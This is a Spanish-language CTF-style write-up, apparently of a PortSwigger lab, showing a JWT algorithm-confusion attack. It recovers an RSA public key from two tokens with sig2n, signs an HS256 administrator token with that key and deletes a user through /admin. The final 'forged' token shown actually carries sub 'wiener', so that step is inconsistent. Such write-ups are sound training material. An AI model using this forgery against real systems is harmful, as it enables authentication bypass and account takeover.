> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md).

# Evasión de autenticación JWT mediante confusión de algoritmos sin clave pública expuesta

### Omisión de autenticación JWT mediante confusión de algoritmo sin clave expuesta

#### Contexto del laboratorio

Usamos **JWT** para gestionar la sesión. Los tokens normalmente se firman en **RSA (RS256)** con un par de claves robusto:

* clave privada: firmar JWT
* clave pública: verificar JWT

La debilidad proviene de una implementación incorrecta: el servidor acepta un JWT declarado en **HS256** y reutiliza la **clave pública RSA** como **secreto HMAC**.

**Objetivo:** obtener un JWT válido con `sub=administrator`, acceder `/admin`, luego eliminar **carlos**.

#### Recuperación de dos JWT RS256

Nos conectamos con `wiener:peter` y obtenemos un primer JWT RS256:

**TOKEN 1**

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA
```

Luego nos desconectamos y después volvemos a conectarnos para obtener un segundo JWT RS256 (incluso `kid`, con una firma diferente):

**TOKEN 2**

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA
```

### Reconstrucción de una clave pública RSA válida con `sig2n`

Usamos el `sig2n` (herramienta de PortSwigger) en Docker para reconstruir una clave pública a partir de **TOKEN 1** y **TOKEN 2**:

```bash
docker run --rm -it docker.io/portswigger/sig2n /
  'TOKEN1' 'TOKEN2'
```

Con nuestros dos tokens completos:

{% code overflow="wrap" %}

```bash
docker run --rm -it docker.io/portswigger/sig2n /
'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1MzEwOCwic3ViIjoid2llbmVyIn0.lZHvRKbIYjTSoGxUCW8Bho06m0rxBSkXPY4WI86aEXjUGY9N1Ntv1GFxOLn-sZio3Mf287bS-FkmbVNHyiWrrf2azNXaaI9MS8JIiVfr2mV0HkMrinRIwEXaL0L_muUc1qZRBKqhbuhTR90MnwEoNkKKNfQG0ry8-Pp5PZnN_BdQVzJyZonlURoPZI80fXO85jdo9s1vs5Qs3QFzj0qaoJ_VZJH8ssLDeZ-KlcncQfSTqtZaqFILjKpmwzfcACMqCyGQ6RsB1Xf3ooXl4Y-i6hOsv4vUwGtvWGNZFHHs18uyi57MGNPK21UN29CHYSVOSerOrPYaMPanrSRz47AeZA' 'eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU1NDQ3NCwic3ViIjoid2llbmVyIn0.L9arTDo1Jb0NJ1dY2dsh-tnXH_VmBDNtycmgZtPYSLdMqOSAi0v46n1lfzZApEBwW7IYcl-Los-bZY7B7e0NGL97VfbAYiYuaxZZjNCaigxc7JlCnErvEDwmgdkrzA91APad9SjFbEUzbemzguBI6pQ5Mjwb3T3VaKrs5HodRl-LYGycs7l4O4GOZXzOrZuzEtDRJiJ2-OOqRstgzAtnQS2JlK75MKW_TtQTxTgVrCufperWcUG_cXG-nyh35gzdwTFXDHeH4yOlRzaEYF20IeczFi3F2P262cdNYHRi4TLeEQVf-4e_JO0XuIt3r5qTElRBeeXaYERYxmTKWVHoQA'
```

{% endcode %}

<figure><img src="/files/15f09fc59a1fe121b3c9649258618f6bcc40d17d" alt=""><figcaption></figcaption></figure>

La herramienta devuelve los siguientes valores de clave:

* **Clave x509 codificada en Base64** (clave pública)
* **JWT alterado** (prueba de JWT HS256)

En nuestro caso, la clave x509 devuelta es:

{% code overflow="wrap" %}

```bash
Se encontró n con multiplicador 1:
    Clave x509 codificada en Base64: LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
    JWT alterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
    Clave pkcs1 codificada en Base64: LS0tLS1CRUdJTiBSU0EgUFVCTElDIEtFWS0tLS0tCk1JSUJDZ0tDQVFFQTU5WTVQU3F1T1lReWoxM3lFbzhRZk1BMlZsV0xWQ0U2RHNYak9iV0lhajFuNFIyQ3hrWnAKL3dJWnVvai96RHVFU0ZaMlN2WERyYy9vYThTSGI0Tlk2ZjRNYnV0bE9XNFBOWmFDQnRsS3A3Uk9kOTRPZEpiaAp6aXFYTGlJa1hQbFQxc251RXZ3bjREYmh2aTU0ckJzTUFhOCtPdVpSZTFpRFhZK0lDZlROeUpoYXMzbmtGZlF6Cmp2K2NjaURDbHJhekVEVFhFb1lOMmVPc2JrOHo5WVJCSzFlWlJDSjcyVHJNM0t5Q0xEWDhPZHFoSFBZTDZFWXQKby9BanlLTENqa0tZTDlLZURqdFBld0NrZ1hnZDAxNE1EbEcxdmkwVUp4QSsvSVRTUW1lSTNrUnNrNGZNcVBkTwpjT0RGRFp1cEx4UTJxOGp1WElhY0xuWE5jSE5XaGJkbWRRSURBUUFCCi0tLS0tRU5EIFJTQSBQVUJMSUMgS0VZLS0tLS0K
    JWT alterado: eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.6-Bl3s-41GcEODbZRG-WzqWgYImkdXfHrBvT4J5hC8M
```

{% endcode %}

#### Prueba: validación de un JWT HS256 alterado

Probamos el JWT HS256 proporcionado por `sig2n`:

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```

El servidor acepta

<figure><img src="/files/4e00d8b83a51dd14031119f75bc7a66d5c50624a" alt=""><figcaption></figcaption></figure>

Así que la clave pública reconstruida puede utilizarse como secreto HMAC.

```bash
LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
```

#### Creación de una clave simétrica (oct) con la clave pública

Creamos una simétrica **oct** cuya `k` clave es la clave pública en Base64:

```json
{
    "kty": "oct",
    "kid": "67e88947-afdf-4c47-af1b-8afcc4b79b58",
    "k": "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1OVk1UFNxdU9ZUXlqMTN5RW84UQpmTUEyVmxXTFZDRTZEc1hqT2JXSWFqMW40UjJDeGtacC93SVp1b2ovekR1RVNGWjJTdlhEcmMvb2E4U0hiNE5ZCjZmNE1idXRsT1c0UE5aYUNCdGxLcDdST2Q5NE9kSmJoemlxWExpSWtYUGxUMXNudUV2d240RGJodmk1NHJCc00KQWE4K091WlJlMWlEWFkrSUNmVE55SmhhczNua0ZmUXpqditjY2lEQ2xyYXpFRFRYRW9ZTjJlT3Niazh6OVlSQgpLMWVaUkNKNzJUck0zS3lDTERYOE9kcWhIUFlMNkVZdG8vQWp5S0xDamtLWUw5S2VEanRQZXdDa2dYZ2QwMTRNCkRsRzF2aTBVSnhBKy9JVFNRbWVJM2tSc2s0Zk1xUGRPY09ERkRadXBMeFEycThqdVhJYWNMblhOY0hOV2hiZG0KZFFJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg=="
}
```

<figure><img src="/files/0e156a09499bb4124dcc4e71b9654121db7eccad" alt=""><figcaption></figcaption></figure>

#### Falsificación del JWT de administrador

Carga útil (pasamos a `administrator`)

```json
{
    "iss": "portswigger",
    "exp": 1767554474,
    "sub": "administrator"
}
```

Encabezado (cambiar a HS256 y mantener el esperado `kid`)

```json
{
    "kid": "658001cf-6704-456b-983e-7ab4373ff03b",
    "alg": "HS256"
}
```

Luego firmamos este JWT en **HS256** con la clave simétrica creada (secreto = clave pública).

<figure><img src="/files/0d3198c2e9499f359408de3ad86d7509b8731c1f" alt=""><figcaption></figcaption></figure>

#### Explotación

1. Reemplazamos la cookie JWT con nuestro token HS256 falsificado.
2. Vamos a `/admin`.
3. Eliminamos al usuario **carlos**.

```bash
eyJraWQiOiI2NTgwMDFjZi02NzA0LTQ1NmItOTgzZS03YWI0MzczZmYwM2IiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiAicG9ydHN3aWdnZXIiLCAiZXhwIjogMTc2NzYzODIxNCwgInN1YiI6ICJ3aWVuZXIifQ.YRJnWfD561bAYY8Wka8tt3xbN-qh-_8raMTvdQUBTHE
```

<figure><img src="/files/79c3531169d2f833a96ea4a69f3d518d77767236" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/jwt/jwt-authentication-bypass-via-algorithm-confusion-without-public-key.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
